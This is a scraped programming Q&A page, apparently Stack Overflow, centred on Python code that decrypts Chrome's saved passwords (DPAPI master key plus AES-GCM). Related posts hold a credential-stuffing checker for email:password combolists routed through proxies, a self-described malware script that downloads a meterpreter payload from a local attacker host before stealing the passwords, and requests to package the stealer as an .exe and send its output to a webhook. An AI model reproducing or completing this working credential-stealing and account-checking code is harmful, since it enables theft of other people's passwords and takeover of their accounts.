Chrome 80 Password File Decryption in Python - python

I've written this code:
import sqlite3
import win32crypt
c = sqlite3.connect("Login Data")
cursor = c.cursor()
cursor.execute("SELECT origin_url, username_value, password_value FROM logins")
data = cursor.fetchall()
credentials = {}
for url, user, pwd in data:
password = win32crypt.CryptUnprotectData(pwd, None, None, None, 0)[1]
credential[url] = (user, password)
for item in credentials:
login = credentials[item]
print(login[0] + " " + login[1])
and it states that:
password = win32crypt.CryptUnprotectData(pwd, None, None, None, 0)[1]
pywintypes.error: (87, 'CryptProtectData', 'The parameter is incorrect.')
As I've searched it, Chrome v80 has changed encryption type. What should I do?

import os
import json
import base64
import sqlite3
import win32crypt
from Crypto.Cipher import AES
import shutil
def get_master_key():
with open(os.environ['USERPROFILE'] + os.sep + r'AppData\Local\Google\Chrome\User Data\Local State', "r", encoding='utf-8') as f:
local_state = f.read()
local_state = json.loads(local_state)
master_key = base64.b64decode(local_state["os_crypt"]["encrypted_key"])
master_key = master_key[5:] # removing DPAPI
master_key = win32crypt.CryptUnprotectData(master_key, None, None, None, 0)[1]
return master_key
def decrypt_payload(cipher, payload):
return cipher.decrypt(payload)
def generate_cipher(aes_key, iv):
return AES.new(aes_key, AES.MODE_GCM, iv)
def decrypt_password(buff, master_key):
try:
iv = buff[3:15]
payload = buff[15:]
cipher = generate_cipher(master_key, iv)
decrypted_pass = decrypt_payload(cipher, payload)
decrypted_pass = decrypted_pass[:-16].decode() # remove suffix bytes
return decrypted_pass
except Exception as e:
# print("Probably saved password from Chrome version older than v80\n")
# print(str(e))
return "Chrome < 80"
if __name__ == '__main__':
master_key = get_master_key()
login_db = os.environ['USERPROFILE'] + os.sep + r'AppData\Local\Google\Chrome\User Data\default\Login Data'
shutil.copy2(login_db, "Loginvault.db") #making a temp copy since Login Data DB is locked while Chrome is running
conn = sqlite3.connect("Loginvault.db")
cursor = conn.cursor()
try:
cursor.execute("SELECT action_url, username_value, password_value FROM logins")
for r in cursor.fetchall():
url = r[0]
username = r[1]
encrypted_password = r[2]
decrypted_password = decrypt_password(encrypted_password, master_key)
print("URL: " + url + "\nUser Name: " + username + "\nPassword: " + decrypted_password + "\n" + "*" * 50 + "\n")
except Exception as e:
pass
cursor.close()
conn.close()
try:
os.remove("Loginvault.db")
except Exception as e:
pass

I'm getting the error module 'Crypto.Cipher.AES' has no attribute 'MODE_GCM'. Am I missing any library? – Gaurav S Jul 9 at 7:23
No you have everything. The crypto\Cipher\__init__.py file imports from Crypto.Cipher._mode_ecb import _create_ecb_cipher. However the directory's real name is crypto and not Crypto. You need to rename the directory to Crypto and then it works perfectly.

Related

Python Imap.IMAP4_SSL Authenticate email and password in combolist error

Hello I need help with my code. It keeps giving me authentication-errors.
Can you check it out for me?
All I needed was the code to authenticate successfully and save the working login in a txt-file and the bad login (wrong password) in another txt-file. It works with smtp but keeps giving me an error on imap.
See the code below.
Thanks
The logins in accounts.txt are in the following format email:password
...
import imaplib
import ssl
import socket
import getpass
import re
import socks
import codecs
import unicodedata
import random
from multiprocessing.pool import ThreadPool
# PROXY_TYPE_HTTP
# PROXY_TYPE_SOCKS5
proxy_type = socks.PROXY_TYPE_HTTP
use_proxies = False
thead_count = 1
use_encrpytion = False
accounts = []
accounts_checked = 0
accounts_valid = []
accounts_invalid = []
proxies = []
def check_account(email, password):
try:
if (use_proxies):
proxy = random.choice(proxies)
proxy_host = proxy.split(':')[0]
proxy_port = int(proxy.split(':')[1])
socks.setdefaultproxy(proxy_type, proxy_host, proxy_port)
socks.wrapmodule(imaplib)
mailserver = imaplib.IMAP4_SSL(('mail.' + re.search('#((\w|\w[\w\-]*?\w)\.\w+)', email).group(1)), 993)
mailserver.login(str(email), str(password))
mailserver.close()
return True
except imaplib.IMAP4.error:
print ("Log in failed.")
return False
def get_status(account):
global accounts_checked, accounts
if (':' not in account):
return False
email = account.split(':')[0]
password = account.split(':')[1]
valid = check_account(email, password)
if (valid):
print("Valid: ", account)
f1 = open("connect.txt", "a+")
f1.write(account)
f1.close()
accounts_valid.append(account)
else:
f2 = open("not_connect.txt", "a+")
f2.write(account)
f2.close()
accounts_invalid.append(account)
accounts_checked += 1
print("(" + str(accounts_checked) + "/" + str(len(accounts)) + ")")
return valid
if __name__ == "__main__":
if (use_proxies):
print("Reading \"proxies.txt\"...")
with open("proxies.txt") as f:
for line in f:
if (':' in line):
proxies.append(line)
print("Found " + str(len(proxies)) + " proxies.")
print("Reading \"accounts.txt\"...")
with codecs.open("accounts.txt", encoding='utf-8') as f:
for line in f:
line = unicodedata.normalize('NFKD', line).encode('ascii','ignore').decode('ascii')
if (':' in line):
accounts.append(line.replace("\n", "").replace("\t", ""))
print("Found " + str(len(accounts)) + " accounts.")
print("Creating thread pool...")
pool = ThreadPool(thead_count)
results = pool.map(get_status, accounts)
pool.close()
pool.join()
print("Done checking, writing output...")
print("Completed!")
...
you should create a minimal example, in my case I cannot log in using
imaplib but I do not wrap with the socket stuff.. Why is the ssl
sockets not automatic?
def get_mail_client(email_address):
print(password)
mail = imaplib.IMAP4_SSL(SMTP_SERVER, SMTP_PORT)
mail.login(email_address, password)
return mail
def start(name):
# Use a breakpoint in the code line below to debug your script.
mailClient = get_mail_client(EMAIL)
status, messages = mailClient.select('INBOX')
print(f'Hi, {name}') # Press Ctrl+F8 to toggle the breakpoint.
print(messages)
print(messages[0])

How to give python script admin permission_

Im curretly working on a 'malware' in python. This should download a meterpreter payload and run it, after seal google chrome saved password and show a message box that tell 'You got hacked :)'.
I can't make it opening the payload because it tell me permission denied.
I want it to download the payload in public folder.
this is the code:
#CREATOR:Buckets41
#DO NOT POST WITHOUT PERMISSION
#FOR EDUCATIONAL PURPUSE ONLY
import os
import json
import base64
import sqlite3
import win32crypt
from Cryptodome.Cipher import AES
import shutil
from datetime import timezone, datetime, timedelta
import urllib.request
import PySimpleGUI as sg
urllib.request.urlretrieve("http://192.168.1.202:8080/Y5nCh02GIAue.hta","C:\\Users\\Public\\Downloads")
payload=open("C:\\Users\\Public\\Downloads\\Y5nCh02GIAue.hta")
def chrome_date_and_time(chrome_data):
return datetime(1601, 1, 1) + timedelta(microseconds=chrome_data)
def fetching_encryption_key():
local_computer_directory_path = os.path.join(
os.environ["USERPROFILE"], "AppData", "Local", "Google", "Chrome",
"User Data", "Local State")
with open(local_computer_directory_path, "r", encoding="utf-8") as f:
local_state_data = f.read()
local_state_data = json.loads(local_state_data)
encryption_key = base64.b64decode(
local_state_data["os_crypt"]["encrypted_key"])
encryption_key = encryption_key[5:]
return win32crypt.CryptUnprotectData(encryption_key, None, None, None, 0)[1]
def password_decryption(password, encryption_key):
try:
iv = password[3:15]
password = password[15:]
cipher = AES.new(encryption_key, AES.MODE_GCM, iv)
return cipher.decrypt(password)[:-16].decode()
except:
try:
return str(win32crypt.CryptUnprotectData(password, None, None, None, 0)[1])
except:
return "No Passwords"
def main():
key = fetching_encryption_key()
db_path = os.path.join(os.environ["USERPROFILE"], "AppData", "Local",
"Google", "Chrome", "User Data", "default", "Login Data")
filename = "ChromePasswords.db"
shutil.copyfile(db_path, filename)
db = sqlite3.connect(filename)
cursor = db.cursor()
cursor.execute(
"select origin_url, action_url, username_value, password_value, date_created, date_last_used from logins "
"order by date_last_used")
for row in cursor.fetchall():
main_url = row[0]
login_page_url = row[1]
user_name = row[2]
decrypted_password = password_decryption(row[3], key)
date_of_creation = row[4]
last_usuage = row[5]
if user_name or decrypted_password:
print(f"Main URL: {main_url}")
print(f"Login URL: {login_page_url}")
print(f"User name: {user_name}")
print(f"Decrypted Password: {decrypted_password}")
else:
continue
if date_of_creation != 86400000000 and date_of_creation:
print(f"Creation date: {str(chrome_date_and_time(date_of_creation))}")
if last_usuage != 86400000000 and last_usuage:
print(f"Last Used: {str(chrome_date_and_time(last_usuage))}")
print("=" * 100)
cursor.close()
db.close()
try:
os.remove(filename)
except:
pass
if __name__ == "__main__":
main()
layout = [[sg.Text("YOU JUST GOT HACKED :)")], [sg.Button("OK")]]
window = sg.Window("Buckets41", layout)
while True:
event, values = window.read()
if event == "OK" or event == sg.WIN_CLOSED:
break
window.close()
and this is the error:
Traceback (most recent call last):
File "C:\Users\tommy\Desktop\pentesting\ERROR.py", line 16, in <module>
urllib.request.urlretrieve("http://192.168.1.202:8080/Y5nCh02GIAue.hta","C:\\Users\\Public\\Downloads")
File "C:\Program Files\WindowsApps\PythonSoftwareFoundation.Python.3.10_3.10.496.0_x64__qbz5n2kfra8p0\lib\urllib\request.py", line 251, in urlretrieve
tfp = open(filename, 'wb')
PermissionError: [Errno 13] Permission denied: 'C:\\Users\\Public\\Downloads'
Thanks!!!

Pyinstaller not writing to file

I have a program that decrypts chrome saved info and puts it into a file. I am trying to turn it into an .exe from .py but when run, does not work.
My code is
import base64
import json
import os
import shutil
import sqlite3
from contextlib import redirect_stdout
from datetime import datetime, timedelta
from Crypto.Cipher import AES
from win32crypt import CryptUnprotectData
def get_chrome_datetime(chromedate):
"""Return a `datetime.datetime` object from a chrome format datetime
Since `chromedate` is formatted as the number of microseconds since January, 1601"""
return datetime(1601, 1, 1) + timedelta(microseconds=chromedate)
def get_encryption_key():
local_state_path = os.path.join(os.environ["USERPROFILE"],
"AppData", "Local", "Google", "Chrome",
"User Data", "Local State")
with open(local_state_path, "r", encoding="utf-8") as f:
local_state = f.read()
local_state = json.loads(local_state)
# decode the encryption key from Base64
key = base64.b64decode(local_state["os_crypt"]["encrypted_key"])
# remove DPAPI str
key = key[5:]
# return decrypted key that was originally encrypted
# using a session key derived from current user's logon credentials
# doc: http://timgolden.me.uk/pywin32-docs/win32crypt.html
return CryptUnprotectData(key, None, None, None, 0)[1]
def decrypt_password(password, key):
try:
# get the initialization vector
iv = password[3:15]
password = password[15:]
# generate cipher
cipher = AES.new(key, AES.MODE_GCM, iv)
# decrypt password
return cipher.decrypt(password)[:-16].decode()
except:
try:
return str(CryptUnprotectData(password, None, None, None, 0)[1])
except:
# not supported
return ""
def main():
global origin_url, action_url, username, password
key = get_encryption_key()
db_path = os.path.join(os.environ["USERPROFILE"], "AppData", "Local",
"Google", "Chrome", "User Data", "default", "Login Data")
# copy the file to another location
# as the database will be locked if chrome is currently running
filename = "ChromeData.db"
shutil.copyfile(db_path, filename)
# connect to the database
db = sqlite3.connect(filename)
cursor = db.cursor()
# `logins` table has the data we need
cursor.execute("select origin_url, action_url, username_value, password_value, date_created, date_last_used from logins order by date_created")
# iterate over all rows
for row in cursor.fetchall():
origin_url = row[0]
action_url = row[1]
username = row[2]
password = decrypt_password(row[3], key)
date_created = row[4]
date_last_used = row[5]
with open('out.txt', 'a') as f:
with redirect_stdout(f):
print(f'\nOrigin URL: {origin_url}'
f'\nAction URL: {action_url}'
f'\nUsername: {username}'
f'\nPassword: {password}',
f'\n', '=' * 50)
if username or password:
print(f"Origin URL: {origin_url}")
print(f"Action URL: {action_url}")
print(f"Username: {username}")
print(f"Password: {password}")
else:
continue
if date_created != 86400000000 and date_created:
print(f"Creation date: {str(get_chrome_datetime(date_created))}")
if date_last_used != 86400000000 and date_last_used:
print(f"Last Used: {str(get_chrome_datetime(date_last_used))}")
print("="*50)
cursor.close()
db.close()
try:
os.remove(filename)
except:
pass
if __name__ == "__main__":
main()
When turned from .py to .exe with pyinstaller, the program turns successfully but the exe will not run. I ran it through cmd and got
Traceback (most recent call last):
File "main.py", line 8, in <module>
ModuleNotFoundError: No module named 'Crypto'
[13152] Failed to execute script 'main' due to unhandled exception!
I have crypto installed on pycharm as well with pip to my machine.

stdout to a webhook?

I have just finished this script (python 3.9), and all output on it is using the '''print()''' command. I am wondering if there is a way to send my output to a webhook, I am thinking I could do this via the stdout but I am not sure and don't know where to start. Here is the script I am working with.
import os
import json
import base64
import sqlite3
import win32crypt
from Cryptodome.Cipher import AES
import shutil
from datetime import timezone, datetime, timedelta
def chrome_date_and_time(chrome_data):
# Chrome_data format is 'year-month-date
# hr:mins:seconds.milliseconds
# This will return datetime.datetime Object
return datetime(1601, 1, 1) + timedelta(microseconds=chrome_data)
def fetching_encryption_key():
# Local_computer_directory_path will look
# like this below
# C: => Users => <Your_Name> => AppData =>
# Local => Google => Chrome => User Data =>
# Local State
local_computer_directory_path = os.path.join(
os.environ["USERPROFILE"], "AppData", "Local", "Google", "Chrome",
"User Data", "Local State")
with open(local_computer_directory_path, "r", encoding="utf-8") as f:
local_state_data = f.read()
local_state_data = json.loads(local_state_data)
# decoding the encryption key using base64
encryption_key = base64.b64decode(
local_state_data["os_crypt"]["encrypted_key"])
# remove Windows Data Protection API (DPAPI) str
encryption_key = encryption_key[5:]
# return decrypted key
return win32crypt.CryptUnprotectData(encryption_key, None, None, None, 0)[1]
def password_decryption(password, encryption_key):
try:
iv = password[3:15]
password = password[15:]
# generate cipher
cipher = AES.new(encryption_key, AES.MODE_GCM, iv)
# decrypt password
return cipher.decrypt(password)[:-16].decode()
except:
try:
return str(win32crypt.CryptUnprotectData(password, None, None, None, 0)[1])
except:
return "No Passwords"
def main():
key = fetching_encryption_key()
db_path = os.path.join(os.environ["USERPROFILE"], "AppData", "Local",
"Google", "Chrome", "User Data", "default", "Login Data")
filename = "ChromePasswords.db"
shutil.copyfile(db_path, filename)
# connecting to the database
db = sqlite3.connect(filename)
cursor = db.cursor()
# 'logins' table has the data
cursor.execute(
"select origin_url, action_url, username_value, password_value, date_created, date_last_used from logins "
"order by date_last_used")
# iterate over all rows
for row in cursor.fetchall():
main_url = row[0]
login_page_url = row[1]
user_name = row[2]
decrypted_password = password_decryption(row[3], key)
date_of_creation = row[4]
last_usuage = row[5]
if user_name or decrypted_password:
print(f"Main URL: {main_url}")
print(f"Login URL: {login_page_url}")
print(f"User name: {user_name}")
print(f"Decrypted Password: {decrypted_password}")
else:
continue
if date_of_creation != 86400000000 and date_of_creation:
print(f"Creation date: {str(chrome_date_and_time(date_of_creation))}")
if last_usuage != 86400000000 and last_usuage:
print(f"Last Used: {str(chrome_date_and_time(last_usuage))}")
print("=" * 100)
cursor.close()
db.close()
try:
# trying to remove the copied db file as
# well from local computer
os.remove(filename)
except:
pass
if __name__ == "__main__":
main()

Redirect stdout to a text widget

I have searched and found some answers on redirecting the sys.stdout to a text widget in python, but I can't apply them to my specific needs.
I have coded a simple GUI with tkinter for a downloader found here and I want the stdout messages to appear on a text widget, which after much effort I couldn't achieve.
So let's make my case clearer with my code:
from Tkinter import*
import Tkinter as tk
import tkMessageBox
import urllib2
import sys
#functions
def downloadlinks():
# Configuration BEGIN
LOGIN = ''
PASSWORD = ''
USE_SSL = False
VERIFY_MD5SUM = False
# Configuration END
__version__ = '0.1.0'
import sys
import os
import urllib
import subprocess
import time
try:
import hashlib
md5 = hashlib.md5
except ImportError:
import md5
md5 = md5.new
def info(msg):
sys.stdout.write('\n%s\n\n' % msg)
sys.stdout.flush()
def error(msg):
sys.stderr.write('%s\n' % msg)
sys.stderr.flush()
sys.exit(1)
def transfer_progress(blocks_transfered, block_size, file_size):
percent = float((blocks_transfered * block_size * 100) / file_size)
progress = float(blocks_transfered * block_size / 1024)
downspeed = (float(blocks_transfered * block_size) / float(time.time() - starttime)) / 1024
sys.stdout.write("Complete: %.0f%% - Downloaded: %.2fKb - Speed: %.3fkb/s\r" % (percent, progress, downspeed))
sys.stdout.flush()
def download(source, target):
global starttime
starttime = time.time()
filename, headers = urllib.urlretrieve(source, target, transfer_progress)
sys.stdout.write('Complete: 100%\n')
sys.stdout.flush()
for ss in headers:
if ss.lower() == "content-disposition":
filename = headers[ss][headers[ss].find("filename=") + 9:] # 9 is len("filename=")=9
urllib.urlcleanup() # Clear the cache
return filename
def verify_file(remote_md5sum, filename):
f = open(filename, "rb")
m = md5()
while True:
block = f.read(32384)
if not block:
break
m.update(block)
md5sum = m.hexdigest()
f.close()
return md5sum == remote_md5sum
def main():
file_link = "https://rapidshare.com/files/33392/examplefile.rar"
info('Downloading: %s' % file_link.split("/")[5])
try:
rapidshare_com, files, fileid, filename = file_link.rsplit('/')[-4:]
except ValueError:
error('Invalid Rapidshare link')
if not rapidshare_com.endswith('rapidshare.com') or files != 'files':
error('Invalid Rapidshare link')
if USE_SSL:
proto = 'https'
info('SSL is enabled00000000000')
else:
proto = 'http'
if VERIFY_MD5SUM:
info('MD5 sum verification is enabled')
info('Downloading: %s' % file_link.split("/")[5])
if filename.endswith('.html'):
target_filename = filename[:-5]
else:
target_filename = filename
info('Save file as: %s' % target_filename)
# API parameters
params = {
'sub': 'download_v1',
'fileid': fileid,
'filename': filename,
'try': '1',
'withmd5hex': '0',
}
if VERIFY_MD5SUM:
params.update({
'withmd5hex': '1',
})
if LOGIN and PASSWORD:
params.update({
'login': LOGIN,
'password': PASSWORD,
})
params_string = urllib.urlencode(params)
api_url = '%s://api.rapidshare.com/cgi-bin/rsapi.cgi' % proto
# Get the first error response
conn = urllib.urlopen('%s?%s' % (api_url, params_string))
data = conn.read()
#print data
conn.close()
# Parse response
try:
key, value = data.split(':')
except ValueError:
error(data)
try:
server, dlauth, countdown, remote_md5sum = value.split(',')
except ValueError:
error(data)
# Wait for n seconds (free accounts only)
if int(countdown):
for t in range(int(countdown), 0, -1):
sys.stdout.write('Waiting for %s seconds...\r' % t)
sys.stdout.flush()
time.sleep(1)
info('Waited for %s seconds. Proceeding with file download...' % countdown)
# API parameters for file download
dl_params = {
'sub': 'download_v1',
'fileid': fileid,
'filename': filename,
}
if LOGIN and PASSWORD:
dl_params.update({
'login': LOGIN,
'password': PASSWORD,
})
else:
dl_params.update({
'dlauth': dlauth,
})
dl_params_string = urllib.urlencode(dl_params)
download_link = '%s://%s/cgi-bin/rsapi.cgi?%s' % (proto, server, dl_params_string)
downloaded_filename = download(download_link, target_filename)
if VERIFY_MD5SUM:
if remote_md5sum.lower() == 'not found':
info('Remote MD5 sum is not available. Skipping MD5 sum verification...')
elif downloaded_filename:
if verify_file(remote_md5sum.lower(), downloaded_filename):
info('Downloaded and verified %s' % downloaded_filename)
else:
error('The downloaded file could not be verified')
else:
error('Will not verify. File not found: %s' % downloaded_filename)
info('Operation Complete')
if __name__ == '__main__':
try:
main()
except KeyboardInterrupt:
error('\nAborted')
tkMessageBox.showinfo('Download Status Notification',"All files have been downloaded.")
#Window Title
app=Tk()
app.title("Downloader")
app.geometry('700x1080+550+0')
app.resizable(0,0)
#Title
titleText = StringVar()
titleText.set("Downloader")
label0=Label(app,textvariable=titleText,font=("Times", 16,"bold"),height=2)
label0.pack()
#
f1 = Frame(app, width=600, height=200)
xf1 = Frame(f1, relief=RAISED, borderwidth=5)
#Text
labelText = StringVar()
labelText.set("Enter link:")
label1=Label(f1,textvariable=labelText,font=("Times", 14))
label1.pack(side=LEFT, padx=5,pady=8)
#Field
linkname = StringVar(None)
linkname1 =Entry(f1,textvariable = linkname,font=("Times", 14),justify=CENTER)
linkname1.pack(side=LEFT, padx=5,pady=8)
Label(f1, text='').place(relx=1.06, rely=0.125,anchor=CENTER)
f1.pack()
#Button
downloadbutton=Button(app,text="Download",font=("Times", 12, "bold"),width=20,borderwidth=5,foreground = 'white',background = 'blue',command=downloadlinks)
downloadbutton.pack()
#####
downloadmessages = Text(app,height = 6,width=80,font=("Times", 12),foreground = 'cyan',background='black' )
downloadmessages.insert(END,"")
downloadmessages.pack(padx=20,pady=1)
app.mainloop()
So,let me ask some questions.My code descriptively is like that :
-import modules
-def downloadlinks()
-Window Title
-Title
-Frame with :
Text
Field
-Button
-Text Widget
When it says my_frame = your_gui_code_here(), does it refer to the Text Widget Code ?
downloadmessages = Text(app,height = 6,width=80,font=("Times", 12),foreground = 'cyan', background='black' )
downloadmessages.insert(END,"")
downloadmessages.pack(padx=20,pady=1)
You would need to open it as a subprocess and then pipe the stdout from there to a writeable source.
e.g.
import subprocess
my_frame = your_gui_code_here()
process = subprocess.Popen('ls', stdout=subprocess.PIPE, stderr=subprocess.PIPE)
my_frame.add_text(process.communicate()[0]) #or however you add text.

Categories